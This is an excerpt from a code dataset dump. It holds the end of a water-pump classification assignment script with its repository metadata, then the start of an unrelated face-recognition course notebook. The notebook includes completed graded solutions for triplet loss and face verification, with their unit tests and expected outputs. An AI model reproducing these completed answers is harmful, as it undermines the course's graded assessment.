(See module 3 assignment notebook)\n# - [ ] More Categorical Encoding. (See module 2 assignment notebook)\n# - [ ] Stacking Ensemble. (See below)\n# \n# ### Stacking Ensemble\n# \n# Here's some code you can use to \"stack\" multiple submissions, which is another form of ensembling:\n# \n# ```python\n# import pandas as pd\n# \n# # Filenames of your submissions you want to ensemble\n# files = ['submission-01.csv', 'submission-02.csv', 'submission-03.csv']\n# \n# target = 'status_group'\n# submissions = (pandas.read_csv(file)[[target]] for file in files)\n# ensemble = pandas.concat(submissions, axis='columns')\n# majority_vote = ensemble.mode(axis='columns')[0]\n# \n# sample_submission = pandas.read_csv('sample_submission.csv')\n# submission = sample_submission.copy()\n# submission[target] = majority_vote\n# submission.to_csv('my-ultimate-ensemble-submission.csv', index=False)\n# ```\n\n#%%\nimport pandas\n\nDATA_PATH = './data/'\n\n# Merge train_features.csv & train_labels.csv\ntrain = pandas.merge(pandas.read_csv(DATA_PATH+'waterpumps/train_features.csv'), \n                 pandas.read_csv(DATA_PATH+'waterpumps/train_labels.csv'))\n\n# Read test_features.csv & sample_submission.csv\ntest = pandas.read_csv(DATA_PATH+'waterpumps/test_features.csv')\nsample_submission = pandas.read_csv(DATA_PATH+'waterpumps/sample_submission.csv')\n\n\n#%%\nfrom typing import Optional\n\ndef keepTopN(\tcolumn:pandas.Series,\n\t\t\t\tn:int,\n\t\t\t\tdefault:Optional[object] = None) -> pandas.Series:\n\t\"\"\"\n\tKeeps the top n most popular values of a Series, while replacing the rest with `default`\n\t\n\tArgs:\n\t\tcolumn (pandas.Series): Series to operate on\n\t\tn (int): How many values to keep\n\t\tdefault (object, optional): Defaults to NaN. Value with which to replace remaining values\n\t\n\tReturns:\n\t\tpandas.Series: Series with the most popular n values\n\t\"\"\"\n\timport numpy\n\n\tif default is None: default = numpy.nan\n\n\tval_counts = column.value_counts()\n\tif n > len(val_counts): n = len(val_counts)\n\ttop_n = list(val_counts[:n].index)\n\treturn(column.where(column.isin(top_n), other=default))\n\ndef oneHot(\tframe:pandas.DataFrame, \n\t\t\tcols:Optional[list] = None,\n\t\t\texclude_cols:Optional[list] = None,\n\t\t\tmax_cardinality:Optional[int] = None,\n\t\t\trequired_out_cols:Optional[list] = None) -> pandas.DataFrame:\n\t\"\"\"\n\tOne-hot encodes the dataframe.\n\t\n\tArgs:\n\t\tframe (pandas.DataFrame): Dataframe to clean\n\t\tcols (list, optional): Columns to one-hot encode. Defaults to all string columns.\n\t\texclude_cols (list, optional): Columns to skip one-hot encoding. Defaults to None.\n\t\tmax_cardinality (int, optional): Maximum cardinality of columns to encode. Defaults to no maximum cardinality.\n\t\n\tReturns:\n\t\tpandas.DataFrame: The one_hot_encoded dataframe.\n\t\"\"\"\n\timport category_encoders\n\timport numpy\n\n\tone_hot_encoded = frame.copy()\n\n\tif cols is None: cols = list(one_hot_encoded.columns[one_hot_encoded.dtypes=='object'])\n\n\tif exclude_cols is not None:\n\t\tfor col in exclude_cols:\n\t\t\tcols.remove(col)\n\n\tif max_cardinality is not None:\n\t\tdescribed = one_hot_encoded[cols].describe(exclude=[numpy.number])\n\t\tcols = list(described.columns[described.loc['unique'] <= max_cardinality])\n\n\tencoder = category_encoders.OneHotEncoder(return_df=True, use_cat_names=True, cols=cols)\n\tone_hot_encoded = encoder.fit_transform(one_hot_encoded)\n\n\tif required_out_cols is not None:\n\t\tfor column in set(required_out_cols) - set(one_hot_encoded.columns):\n\t\t\tone_hot_encoded[column] = numpy.zeros(one_hot_encoded.shape[0])\n\n\treturn(one_hot_encoded)\n\n#%%\n\ndef cluster(df, n_clusters=100, kmeans=None):\n\tfrom sklearn.cluster import KMeans\n\n\tif kmeans is None:\n\t\tkmeans=KMeans(n_clusters=n_clusters)\n\t\tkmeans.fit(df[['latitude', 'longitude']])\n\t\tdf['cluster'] = kmeans.labels_\n\telse:\n\t\tdf['cluster'] = kmeans.predict(df[['latitude', 'longitude']])\n\treturn(df, kmeans)\n\n#%%\n\ndef clean(df, n_clusters=250, kmeans=None, n=5, required_out_cols=None, exclude_cols=None):\n\n\tcleaned = df.copy()\n\tcleaned, kmeans = cluster(cleaned, n_clusters=n_clusters, kmeans=kmeans)\n\n\tcleaned['date_recorded_dt'] = pandas.to_datetime(df['date_recorded'])\n\tcleaned['date_recorded_ts'] = cleaned['date_recorded_dt'].view('int64')\n\tcleaned['month_recorded'] = cleaned['date_recorded_dt'].dt.month\n\tcleaned['day_recorded'] = cleaned['date_recorded_dt'].dt.day\n\tcleaned['year_recorded'] = cleaned['date_recorded_dt'].dt.year\n\tcleaned['years_in_operation'] = cleaned['year_recorded'] - cleaned['construction_year']\n\tcleaned = cleaned.drop(columns = ['date_recorded'])\n\n\tfor column in cleaned.columns[cleaned.dtypes=='object']:\n\t\tcleaned[column] = keepTopN(cleaned[column], n=n, default='other')\n\n\tencoded = oneHot(cleaned.drop(columns=['date_recorded_dt']), exclude_cols=exclude_cols, max_cardinality=n+1, required_out_cols=required_out_cols)\n\n\treturn(encoded, kmeans)\n\n#%%\n\ncleaned, kmeans = clean(train, exclude_cols=['status_group'])\ntrain_features = cleaned.drop(columns=['status_group'])\ntrain_target = cleaned['status_group'].values.flatten()\ntest_features, kmeans = clean(test, kmeans=kmeans, required_out_cols=list(train_features.columns))\n\n#%%\nprint(list(train_features.columns))\n\n#%%\nprint(list(test_features.columns))\n\n#%%\ntrain_features.dtypes[train_features.dtypes=='object']\n\n#%%\n\nimport category_encoders as ce\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import KFold, RandomizedSearchCV\nfrom scipy.stats import randint, uniform\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\n\n_ss = StandardScaler()\n_pca = PCA()\n_rfc = RandomForestClassifier(random_state=3)\n\nparams = {\n\t'RandomForestClassifier__n_estimators': [27,270],\n\t'RandomForestClassifier__min_samples_leaf': [5,10],\n\t'RandomForestClassifier__oob_score': [False],\n\t'RandomForestClassifier__criterion': ['gini'],\n\t'PCA__n_components': [40,80,160]\n}\n\n# n_estimators = 1000, min_samples_leaf = 2\n\npipeline = Pipeline([\t('StandardScaler', _ss),\n\t\t\t\t\t\t('PCA', _pca),\n\t\t\t\t\t\t('RandomForestClassifier', _rfc)])\n\nsearchCV = RandomizedSearchCV(\tpipeline,\n\t\t\t\t\t\t\t\tparam_distributions=params,\n\t\t\t\t\t\t\t\tn_iter=5,\n\t\t\t\t\t\t\t\tcv=3,\n\t\t\t\t\t\t\t\tscoring='accuracy',\n\t\t\t\t\t\t\t\tverbose=10,\n\t\t\t\t\t\t\t\treturn_train_score=True,\n\t\t\t\t\t\t\t\tn_jobs=-1)\n\ntarget_encoder = ce.OrdinalEncoder()\ntrain_target_encoded = target_encoder.fit_transform(train_target)\ntrain_target_encoded\n\nsearchCV.fit(train_features, train_target_encoded)\n\n#%%\nprint('Cross-validation accuracy', searchCV.best_score_)\nprint('Best hyperparameters', searchCV.best_params_)\n\n#%%\nout = test_features[['id']].copy()\n\n#%%\ntrain_features.shape\n\n#%%\ntest_features.shape\n\n#%%\ntest_features_n = test_features.drop(columns=list(set(test_features.columns) - set(train_features.columns)))\n\n#%%\n\n#%%\nout['status_group'] = searchCV.predict(test_features_n)\n\n#%%\nout['status_group'].value_counts()\n\n#%%\nout['status_group'] = target_encoder.inverse_transform(out['status_group'])\n\nout.sort_values(by='id').to_csv('./module4/results.csv', index=False)\n\n#%%\n\n", "meta": {"hexsha": "05c86670af65c0342960fbf58b2b716208b6a263", "size": 9507, "ext": "py", "lang": "Python", "max_stars_repo_path": "module4/assignment_kaggle_challenge_4.py", "max_stars_repo_name": "Lrizika/DS-Unit-2-Kaggle-Challenge", "max_stars_repo_head_hexsha": "da8e756eb519df290a965f1a96da65449c2d7ade", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "module4/assignment_kaggle_challenge_4.py", "max_issues_repo_name": "Lrizika/DS-Unit-2-Kaggle-Challenge", "max_issues_repo_head_hexsha": "da8e756eb519df290a965f1a96da65449c2d7ade", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "module4/assignment_kaggle_challenge_4.py", "max_forks_repo_name": "Lrizika/DS-Unit-2-Kaggle-Challenge", "max_forks_repo_head_hexsha": "da8e756eb519df290a965f1a96da65449c2d7ade", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.8488372093, "max_line_length": 608, "alphanum_fraction": 0.7551278006, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2280, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.1895211004851209, "lm_q1q2_score": 0.0918002466252497}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Face Recognition\n# \n# Welcome! In this assignment, you're going to build a face recognition system. Many of the ideas presented here are from [FaceNet](https://arxiv.org/pdf/1503.03832.pdf). In the lecture, you also encountered [DeepFace](https://research.fb.com/wp-content/uploads/2016/11/deepface-closing-the-gap-to-human-level-performance-in-face-verification.pdf).\n# \n# Face recognition problems commonly fall into one of two categories: \n# \n# **Face Verification** \"Is this the claimed person?\" For example, at some airports, you can pass through customs by letting a system scan your passport and then verifying that you (the person carrying the passport) are the correct person. A mobile phone that unlocks using your face is also using face verification. This is a 1:1 matching problem.\n# \n# **Face Recognition** \"Who is this person?\" For example, the video lecture showed a [face recognition video](https://www.youtube.com/watch?v=wr4rx0Spihs) of Baidu employees entering the office without needing to otherwise identify themselves. This is a 1:K matching problem.\n# \n# FaceNet learns a neural network that encodes a face image into a vector of 128 numbers. By comparing two such vectors, you can then determine if two pictures are of the same person.\n# \n# By the end of this assignment, you'll be able to: \n# \n# * Differentiate between face recognition and face verification\n# * Implement one-shot learning to solve a face recognition problem\n# * Apply the triplet loss function to learn a network's parameters in the context of face recognition\n# * Explain how to pose face recognition as a binary classification problem\n# * Map face images into 128-dimensional encodings using a pretrained model\n# * Perform face verification and face recognition with these encodings\n# \n# **Channels-last notation**\n# \n# For this assignment, you'll be using a pre-trained model which represents ConvNet activations using a \"channels last\" convention, as used during the lecture and in previous programming assignments.\n# \n# In other words, a batch of images will be of shape $(m, n_H, n_W, n_C)$. \n\n# ## Table of Contents\n# \n# - [1 - Packages](#1)\n# - [2 - Naive Face Verification](#2)\n# - [3 - Encoding Face Images into a 128-Dimensional Vector](#3)\n#     - [3.1 - Using a ConvNet to Compute Encodings](#3-1)\n#     - [3.2 - The Triplet Loss](#3-2)\n#         - [Exercise 1 - triplet_loss](#ex-1)\n# - [4 - Loading the Pre-trained Model](#4)\n# - [5 - Applying the Model](#5)\n#     - [5.1 - Face Verification](#5-1)\n#         - [Exercise 2 - verify](#ex-2)\n#     - [5.2 - Face Recognition](#5-2)\n#         - [Exercise 3 - who_is_it](#ex-3)\n# - [6 - References](#6)\n\n# <a name='1'></a>\n# ## 1 - Packages\n# \n# Go ahead and run the cell below to import the packages you'll need.\n\n# In[1]:\n\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, ZeroPadding2D, Activation, Input, concatenate\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.layers import MaxPooling2D, AveragePooling2D\nfrom tensorflow.keras.layers import Concatenate\nfrom tensorflow.keras.layers import Lambda, Flatten, Dense\nfrom tensorflow.keras.initializers import glorot_uniform\nfrom tensorflow.keras.layers import Layer\nfrom tensorflow.keras import backend as K\nK.set_image_data_format('channels_last')\nimport os\nimport numpy as np\nfrom numpy import genfromtxt\nimport pandas as pd\nimport tensorflow as tf\nimport PIL\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nget_ipython().run_line_magic('load_ext', 'autoreload')\nget_ipython().run_line_magic('autoreload', '2')\n\n\n# <a name='2'></a>\n# ## 2 - Naive Face Verification\n# \n# In Face Verification, you're given two images and you have to determine if they are of the same person. The simplest way to do this is to compare the two images pixel-by-pixel. If the distance between the raw images is below a chosen threshold, it may be the same person!\n# \n# <img src=\"images/pixel_comparison.png\" style=\"width:380px;height:150px;\">\n# <caption><center> <u> <font color='purple'> <b>Figure 1</b> </u></center></caption>\n# \n# Of course, this algorithm performs poorly, since the pixel values change dramatically due to variations in lighting, orientation of the person's face, minor changes in head position, and so on.\n# \n# You'll see that rather than using the raw image, you can learn an encoding, $f(img)$.\n# \n# By using an encoding for each image, an element-wise comparison produces a more accurate judgement as to whether two pictures are of the same person.\n\n# <a name='3'></a>\n# ## 3 - Encoding Face Images into a 128-Dimensional Vector\n# \n# <a name='3-1'></a>\n# ### 3.1 - Using a ConvNet to Compute Encodings\n# \n# The FaceNet model takes a lot of data and a long time to train. So following the common practice in applied deep learning, you'll load weights that someone else has already trained. The network architecture follows the Inception model from [Szegedy *et al*..](https://arxiv.org/abs/1409.4842) An Inception network implementation has been provided for you, and you can find it in the file `inception_blocks_v2.py` to get a closer look at how it is implemented.  \n# \n# *Hot tip:* Go to \"File->Open...\" at the top of this notebook. This opens the file directory that contains the `.py` file).\n# \n# The key things to be aware of are:\n# \n# - This network uses 160x160 dimensional RGB images as its input. Specifically, a face image (or batch of $m$ face images) as a tensor of shape $(m, n_H, n_W, n_C) = (m, 160, 160, 3)$\n# - The input images are originally of shape 96x96, thus, you need to scale them to 160x160. This is done in the `img_to_encoding()` function.\n# - The output is a matrix of shape $(m, 128)$ that encodes each input face image into a 128-dimensional vector\n# \n# Run the cell below to create the model for face images!\n\n# In[2]:\n\n\nfrom tensorflow.keras.models import model_from_json\n\njson_file = open('keras-facenet-h5/model.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel = model_from_json(loaded_model_json)\nmodel.load_weights('keras-facenet-h5/model.h5')\n\n\n# Now summarize the input and output shapes: \n\n# In[3]:\n\n\nprint(model.inputs)\nprint(model.outputs)\n\n\n# By using a 128-neuron fully connected layer as its last layer, the model ensures that the output is an encoding vector of size 128. You then use the encodings to compare two face images as follows:\n# \n# <img src=\"images/distance_kiank.png\\\" style=\"width:680px;height:250px;\">\n# <caption><center> <u> <font color='purple'> <b>Figure 2:</b> <br> </u> <font color='purple'>By computing the distance between two encodings and thresholding, you can determine if the two pictures represent the same person</center></caption>\n# \n# So, an encoding is a good one if:\n# \n# - The encodings of two images of the same person are quite similar to each other.\n# - The encodings of two images of different persons are very different.\n# \n# The triplet loss function formalizes this, and tries to \"push\" the encodings of two images of the same person (Anchor and Positive) closer together, while \"pulling\" the encodings of two images of different persons (Anchor, Negative) further apart.\n#     \n# <img src=\"images/triplet_comparison.png\" style=\"width:280px;height:150px;\"><br>\n# <caption><center> <u> <font color='purple'> <b>Figure 3: </b> <br> </u> <font color='purple'> In the next section,  you'll call the pictures from left to right: Anchor (A), Positive (P), Negative (N)</center></caption>\n\n# <a name='3-2'></a>\n# ### 3.2 - The Triplet Loss\n# \n# **Important Note**: Since you're using a pretrained model, you won't actually need to implement the triplet loss function in this assignment. *However*, the triplet loss is the main ingredient of the face recognition algorithm, and you'll need to know how to use it for training your own FaceNet model, as well as other types of image similarity problems. Therefore, you'll implement it below, for fun and edification. :) \n# \n# For an image $x$, its encoding is denoted as $f(x)$, where $f$ is the function computed by the neural network.\n# \n# <img src=\"images/f_x.png\" style=\"width:380px;height:150px;\">\n# \n# Training will use triplets of images $(A, P, N)$:\n# \n# - A is an \"Anchor\" image--a picture of a person.\n# - P is a \"Positive\" image--a picture of the same person as the Anchor image.\n# - N is a \"Negative\" image--a picture of a different person than the Anchor image.\n# \n# These triplets are picked from the training dataset. $(A^{(i)}, P^{(i)}, N^{(i)})$ is used here to denote the $i$-th training example.\n# \n# You'd like to make sure that an image $A^{(i)}$ of an individual is closer to the Positive $P^{(i)}$ than to the Negative image $N^{(i)}$) by at least a margin $\\alpha$:\n# \n# $$\n# || f\\left(A^{(i)}\\right)-f\\left(P^{(i)}\\right)||_{2}^{2}+\\alpha<|| f\\left(A^{(i)}\\right)-f\\left(N^{(i)}\\right)||_{2}^{2}\n# $$\n# \n# \n# You would thus like to minimize the following \"triplet cost\":\n# \n# $$\\mathcal{J} = \\sum^{m}_{i=1} \\large[ \\small \\underbrace{\\mid \\mid f(A^{(i)}) - f(P^{(i)}) \\mid \\mid_2^2}_\\text{(1)} - \\underbrace{\\mid \\mid f(A^{(i)}) - f(N^{(i)}) \\mid \\mid_2^2}_\\text{(2)} + \\alpha \\large ] \\small_+ \\tag{3}$$\n# Here, the notation \"$[z]_+$\" is used to denote $max(z,0)$.\n# \n# **Notes**:\n# \n# - The term (1) is the squared distance between the anchor \"A\" and the positive \"P\" for a given triplet; you want this to be small.\n# - The term (2) is the squared distance between the anchor \"A\" and the negative \"N\" for a given triplet, you want this to be relatively large. It has a minus sign preceding it because minimizing the negative of the term is the same as maximizing that term.\n# - $\\alpha$ is called the margin. It's a hyperparameter that you pick manually. You'll use $\\alpha = 0.2$.\n# \n# Most implementations also rescale the encoding vectors to haven L2 norm equal to one (i.e., $\\mid \\mid f(img)\\mid \\mid_2$=1); you won't have to worry about that in this assignment.\n# \n# <a name='ex-1'></a>\n# ### Exercise 1 - triplet_loss\n# \n# Implement the triplet loss as defined by formula (3). These are the 4 steps:\n# \n# 1. Compute the distance between the encodings of \"anchor\" and \"positive\": $\\mid \\mid f(A^{(i)}) - f(P^{(i)}) \\mid \\mid_2^2$\n# 2. Compute the distance between the encodings of \"anchor\" and \"negative\": $\\mid \\mid f(A^{(i)}) - f(N^{(i)}) \\mid \\mid_2^2$\n# 3. Compute the formula per training example: $ \\mid \\mid f(A^{(i)}) - f(P^{(i)}) \\mid \\mid_2^2 - \\mid \\mid f(A^{(i)}) - f(N^{(i)}) \\mid \\mid_2^2 + \\alpha$\n# 4. Compute the full formula by taking the max with zero and summing over the training examples:$$\\mathcal{J} = \\sum^{m}_{i=1} \\large[ \\small \\mid \\mid f(A^{(i)}) - f(P^{(i)}) \\mid \\mid_2^2 - \\mid \\mid f(A^{(i)}) - f(N^{(i)}) \\mid \\mid_2^2+ \\alpha \\large ] \\small_+ \\tag{3}$$\n# \n# *Hints*:\n# \n# - Useful functions: `tf.reduce_sum()`, `tf.square()`, `tf.subtract()`, `tf.add()`, `tf.maximum()`.\n# \n# - For steps 1 and 2, sum over the entries of $\\mid \\mid f(A^{(i)}) - f(P^{(i)}) \\mid \\mid_2^2$ and $\\mid \\mid     f(A^{(i)}) - f(N^{(i)}) \\mid \\mid_2^2$.\n# \n# - For step 4, you will sum over the training examples.\n# \n# *Additional Hints*:\n# \n# - Recall that the square of the L2 norm is the sum of the squared differences: $||x - y||_{2}^{2} = \\sum_{i=1}^{N}(x_{i} - y_{i})^{2}$\n# \n# - Note that the anchor, positive and negative encodings are of shape (*m*,128), where *m* is the number of training examples and 128 is the number of elements used to encode a single example.\n# \n# - For steps 1 and 2, maintain the number of *m* training examples and sum along the 128 values of each encoding. `tf.reduce_sum` has an axis parameter. This chooses along which axis the sums are applied.\n# \n# - Note that one way to choose the last axis in a tensor is to use negative indexing (axis=-1).\n# \n# - In step 4, when summing over training examples, the result will be a single scalar value.\n# \n# - For `tf.reduce_sum` to sum across all axes, keep the default value axis=None.\n\n# In[18]:\n\n\n# UNQ_C1(UNIQUE CELL IDENTIFIER, DO NOT EDIT)\n# GRADED FUNCTION: triplet_loss\n\ndef triplet_loss(y_true, y_pred, alpha = 0.2):\n    \"\"\"\n    Implementation of the triplet loss as defined by formula (3)\n    \n    Arguments:\n    y_true -- true labels, required when you define a loss in Keras, you don't need it in this function.\n    y_pred -- python list containing three objects:\n            anchor -- the encodings for the anchor images, of shape (None, 128)\n            positive -- the encodings for the positive images, of shape (None, 128)\n            negative -- the encodings for the negative images, of shape (None, 128)\n    \n    Returns:\n    loss -- real number, value of the loss\n    \"\"\"\n    \n    anchor, positive, negative = y_pred[0], y_pred[1], y_pred[2]\n    \n    ### START CODE HERE\n    #(\u2248 4 lines)\n    # Step 1: Compute the (encoding) distance between the anchor and the positive\n    pos_dist = tf.reduce_sum(tf.square(tf.subtract(anchor, positive)), axis=-1)\n    # Step 2: Compute the (encoding) distance between the anchor and the negative\n    neg_dist = tf.reduce_sum(tf.square(tf.subtract(anchor, negative)), axis=-1)\n    # Step 3: subtract the two previous distances and add alpha.\n    basic_loss = pos_dist - neg_dist + alpha\n    # Step 4: Take the maximum of basic_loss and 0.0. Sum over the training examples.\n    loss = tf.reduce_sum(tf.maximum(basic_loss, 0))\n    ### END CODE HERE\n    \n    return loss\n\n\n# In[19]:\n\n\n# BEGIN UNIT TEST\ntf.random.set_seed(1)\ny_true = (None, None, None) # It is not used\ny_pred = (tf.keras.backend.random_normal([3, 128], mean=6, stddev=0.1, seed = 1),\n          tf.keras.backend.random_normal([3, 128], mean=1, stddev=1, seed = 1),\n          tf.keras.backend.random_normal([3, 128], mean=3, stddev=4, seed = 1))\nloss = triplet_loss(y_true, y_pred)\n\nassert type(loss) == tf.python.framework.ops.EagerTensor, \"Use tensorflow functions\"\nprint(\"loss = \" + str(loss))\n\ny_pred_perfect = ([1., 1.], [1., 1.], [1., 1.,])\nloss = triplet_loss(y_true, y_pred_perfect, 5)\nassert loss == 5, \"Wrong value. Did you add the alpha to basic_loss?\"\ny_pred_perfect = ([1., 1.],[1., 1.], [0., 0.,])\nloss = triplet_loss(y_true, y_pred_perfect, 3)\nassert loss == 1., \"Wrong value. Check that pos_dist = 0 and neg_dist = 2 in this example\"\ny_pred_perfect = ([1., 1.],[0., 0.], [1., 1.,])\nloss = triplet_loss(y_true, y_pred_perfect, 0)\nassert loss == 2., \"Wrong value. Check that pos_dist = 2 and neg_dist = 0 in this example\"\ny_pred_perfect = ([0., 0.],[0., 0.], [0., 0.,])\nloss = triplet_loss(y_true, y_pred_perfect, -2)\nassert loss == 0, \"Wrong value. Are you taking the maximum between basic_loss and 0?\"\ny_pred_perfect = ([[1., 0.], [1., 0.]],[[1., 0.], [1., 0.]], [[0., 1.], [0., 1.]])\nloss = triplet_loss(y_true, y_pred_perfect, 3)\nassert loss == 2., \"Wrong value. Are you applying tf.reduce_sum to get the loss?\"\ny_pred_perfect = ([[1., 1.], [2., 0.]], [[0., 3.], [1., 1.]], [[1., 0.], [0., 1.,]])\nloss = triplet_loss(y_true, y_pred_perfect, 1)\nif (loss == 4.):\n    raise Exception('Perhaps you are not using axis=-1 in reduce_sum?')\nassert loss == 5, \"Wrong value. Check your implementation\"\n# END UNIT TEST\n\n\n# **Expected Output**:\n# \n# <table>\n#     <tr>\n#         <td>\n#             <b>loss</b>\n#         </td>\n#         <td>\n#            527.2598\n#         </td>\n#     </tr>\n#     </table>\n\n# <a name='4'></a>\n# ## 4 - Loading the Pre-trained Model\n# \n# FaceNet is trained by minimizing the triplet loss. But since training requires a lot of data and a lot of computation, you won't train it from scratch here. Instead, you'll load a previously trained model in the following cell; which might take a couple of minutes to run.\n\n# In[20]:\n\n\nFRmodel = model\n\n\n# Here are some examples of distances between the encodings between three individuals:\n# \n# <img src=\"images/distance_matrix.png\" style=\"width:380px;height:200px;\"><br>\n# <caption><center> <u> <font color='purple'> <b>Figure 4:</b></u> <br>  <font color='purple'> Example of distance outputs between three individuals' encodings</center></caption>\n# \n# Now use this model to perform face verification and face recognition!\n\n# <a name='5'></a>\n# ## 5 - Applying the Model\n# \n# You're building a system for an office building where the building manager would like to offer facial recognition to allow the employees to enter the building.\n# \n# You'd like to build a face verification system that gives access to a list of people. To be admitted, each person has to swipe an identification card at the entrance. The face recognition system then verifies that they are who they claim to be.\n# \n# <a name='5-1'></a>\n# ### 5.1 - Face Verification\n# \n# Now you'll build a database containing one encoding vector for each person who is allowed to enter the office. To generate the encoding, you'll use `img_to_encoding(image_path, model)`, which runs the forward propagation of the model on the specified image.\n# \n# Run the following code to build the database (represented as a Python dictionary). This database maps each person's name to a 128-dimensional encoding of their face.\n\n# In[21]:\n\n\n#tf.keras.backend.set_image_data_format('channels_last')\ndef img_to_encoding(image_path, model):\n    img = tf.keras.preprocessing.image.load_img(image_path, target_size=(160, 160))\n    img = np.around(np.array(img) / 255.0, decimals=12)\n    x_train = np.expand_dims(img, axis=0)\n    embedding = model.predict_on_batch(x_train)\n    return embedding / np.linalg.norm(embedding, ord=2)\n\n\n# In[22]:\n\n\ndatabase = {}\ndatabase[\"danielle\"] = img_to_encoding(\"images/danielle.png\", FRmodel)\ndatabase[\"younes\"] = img_to_encoding(\"images/younes.jpg\", FRmodel)\ndatabase[\"tian\"] = img_to_encoding(\"images/tian.jpg\", FRmodel)\ndatabase[\"andrew\"] = img_to_encoding(\"images/andrew.jpg\", FRmodel)\ndatabase[\"kian\"] = img_to_encoding(\"images/kian.jpg\", FRmodel)\ndatabase[\"dan\"] = img_to_encoding(\"images/dan.jpg\", FRmodel)\ndatabase[\"sebastiano\"] = img_to_encoding(\"images/sebastiano.jpg\", FRmodel)\ndatabase[\"bertrand\"] = img_to_encoding(\"images/bertrand.jpg\", FRmodel)\ndatabase[\"kevin\"] = img_to_encoding(\"images/kevin.jpg\", FRmodel)\ndatabase[\"felix\"] = img_to_encoding(\"images/felix.jpg\", FRmodel)\ndatabase[\"benoit\"] = img_to_encoding(\"images/benoit.jpg\", FRmodel)\ndatabase[\"arnaud\"] = img_to_encoding(\"images/arnaud.jpg\", FRmodel)\n\n\n# Load the images of Danielle and Kian: \n\n# In[23]:\n\n\ndanielle = tf.keras.preprocessing.image.load_img(\"images/danielle.png\", target_size=(160, 160))\nkian = tf.keras.preprocessing.image.load_img(\"images/kian.jpg\", target_size=(160, 160))\n\n\n# In[24]:\n\n\nnp.around(np.array(kian) / 255.0, decimals=12).shape\n\n\n# In[25]:\n\n\nkian\n\n\n# In[26]:\n\n\nnp.around(np.array(danielle) / 255.0, decimals=12).shape\n\n\n# In[27]:\n\n\ndanielle\n\n\n# Now, when someone shows up at your front door and swipes their ID card (thus giving you their name), you can look up their encoding in the database, and use it to check if the person standing at the front door matches the name on the ID.\n# \n# <a name='ex-2'></a>\n# ### Exercise 2 - verify\n# \n# Implement the `verify()` function, which checks if the front-door camera picture (`image_path`) is actually the person called \"identity\". You will have to go through the following steps:\n# \n# - Compute the encoding of the image from `image_path`.\n# - Compute the distance between this encoding and the encoding of the identity image stored in the database.\n# - Open the door if the distance is less than 0.7, else do not open it.\n# \n# As presented above, you should use the L2 distance `np.linalg.norm`.\n# \n# **Note**: In this implementation, compare the L2 distance, not the square of the L2 distance, to the threshold 0.7.\n# \n# *Hints*:\n# \n# - `identity` is a string that is also a key in the database dictionary.\n# - `img_to_encoding` has two parameters: the image_path and model.\n\n# In[30]:\n\n\n# UNQ_C2(UNIQUE CELL IDENTIFIER, DO NOT EDIT)\n# GRADED FUNCTION: verify\n\ndef verify(image_path, identity, database, model):\n    \"\"\"\n    Function that verifies if the person on the \"image_path\" image is \"identity\".\n    \n    Arguments:\n        image_path -- path to an image\n        identity -- string, name of the person you'd like to verify the identity. Has to be an employee who works in the office.\n        database -- python dictionary mapping names of allowed people's names (strings) to their encodings (vectors).\n        model -- your Inception model instance in Keras\n    \n    Returns:\n        dist -- distance between the image_path and the image of \"identity\" in the database.\n        door_open -- True, if the door should open. False otherwise.\n    \"\"\"\n    ### START CODE HERE\n    # Step 1: Compute the encoding for the image. Use img_to_encoding() see example above. (\u2248 1 line)\n    encoding = img_to_encoding(image_path, model)\n    # Step 2: Compute distance with identity's image (\u2248 1 line)\n    dist = np.linalg.norm(database[identity] - encoding)\n    # Step 3: Open the door if dist < 0.7, else don't open (\u2248 3 lines)\n    if dist < 0.7:\n        print(\"It's \" + str(identity) + \", welcome in!\")\n        door_open = True\n    else:\n        print(\"It's not \" + str(identity) + \", please go away\")\n        door_open = False\n    ### END CODE HERE        \n    return dist, door_open\n\n\n# Younes is trying to enter the office and the camera takes a picture of him (\"images/camera_0.jpg\"). Let's run your verification algorithm on this picture:\n# \n# <img src=\"images/camera_0.jpg\\\" style=\"width:100px;height:100px;\">\n\n# In[31]:\n\n\n# BEGIN UNIT TEST\nassert(np.allclose(verify(\"images/camera_1.jpg\", \"bertrand\", database, FRmodel), (0.54364836, True)))\nassert(np.allclose(verify(\"images/camera_3.jpg\", \"bertrand\", database, FRmodel), (0.38616243, True)))\nassert(np.allclose(verify(\"images/camera_1.jpg\", \"younes\", database, FRmodel), (1.3963861, False)))\nassert(np.allclose(verify(\"images/camera_3.jpg\", \"younes\", database, FRmodel), (1.3872949, False)))\n\nverify(\"images/camera_0.jpg\", \"younes\", database, FRmodel)\n# END UNIT TEST\n\n\n# **Expected Output**:\n# \n# <table>\n#     <tr>\n#         <td>\n#             <b>It's Younes, welcome in!</b>\n#         </td>\n#         <td>\n#            (0.5992946, True)\n#         </td>\n#     </tr>\n#     </table>\n\n# Benoit, who does not work in the office, stole Kian's ID card and tried to enter the office. Naughty Benoit! The camera took a picture of Benoit (\"images/camera_2.jpg). \n# \n# <img src=\"images/camera_2.jpg\" style=\"width:100px;height:100px;\">\n# \n# Run the verification algorithm to check if Benoit can enter.\n\n# In[32]:\n\n\nverify(\"images/camera_2.jpg\", \"kian\", database, FRmodel)\n\n\n# **Expected Output**:\n# \n# <table>\n#     <tr>\n#         <td>\n#             <b>It's not Kian, please go away</b>\n#         </td>\n#         <td>\n#            (1.0259346, False)\n#         </td>\n#     </tr>\n#     </table>\n\n# <a name='5-2'></a>\n# ### 5.2 - Face Recognition\n# \n# Your face verification system is mostly working. 